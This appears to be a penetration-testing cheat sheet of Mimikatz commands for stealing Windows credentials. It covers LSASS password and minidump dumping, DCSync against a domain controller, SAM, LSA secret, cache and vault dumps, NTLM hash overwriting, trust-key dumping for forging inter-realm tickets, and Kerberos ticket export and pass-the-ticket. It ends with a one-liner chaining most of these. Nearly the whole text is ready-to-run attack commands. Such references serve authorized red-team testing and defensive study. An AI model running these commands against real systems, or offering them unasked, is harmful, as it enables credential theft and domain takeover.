Mimikatz

Finding credentials with mimikatz

General

privilege::debug
log
log customlogfilename.log
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

DCSync

mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit

Credentials

# DCSync
mimikatz lsadump::dcsync domain:zencorp-us.vl /user:DC01$

# General
sekurlsa::logonpasswords
sekurlsa::logonPasswords full
sekurlsa::minidump lsass.dmp

# lsadump
lsadump::lsa /inject
lsadump::sam
lsadump::secrets
lsadump::cache

# Set NTLM hash
lsadump::setntlm /user:targetUser /ntlm:newNtlmHash

# Vault
token::elevate
vault::cred
vault::cred /patch
vault::list

# oneliner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"
</code></pre>

Trust keys

lsadump::trust can be used for dumping the forest trust keys. Forest trust keys can be leveraged for forging inter-realm trust tickets.

# Dump Trust keys
lsadump::trust 
lsadump::trust /patch

Kerberos

kerberos::list /export
kerberos::ptt c:\ticket.kirbi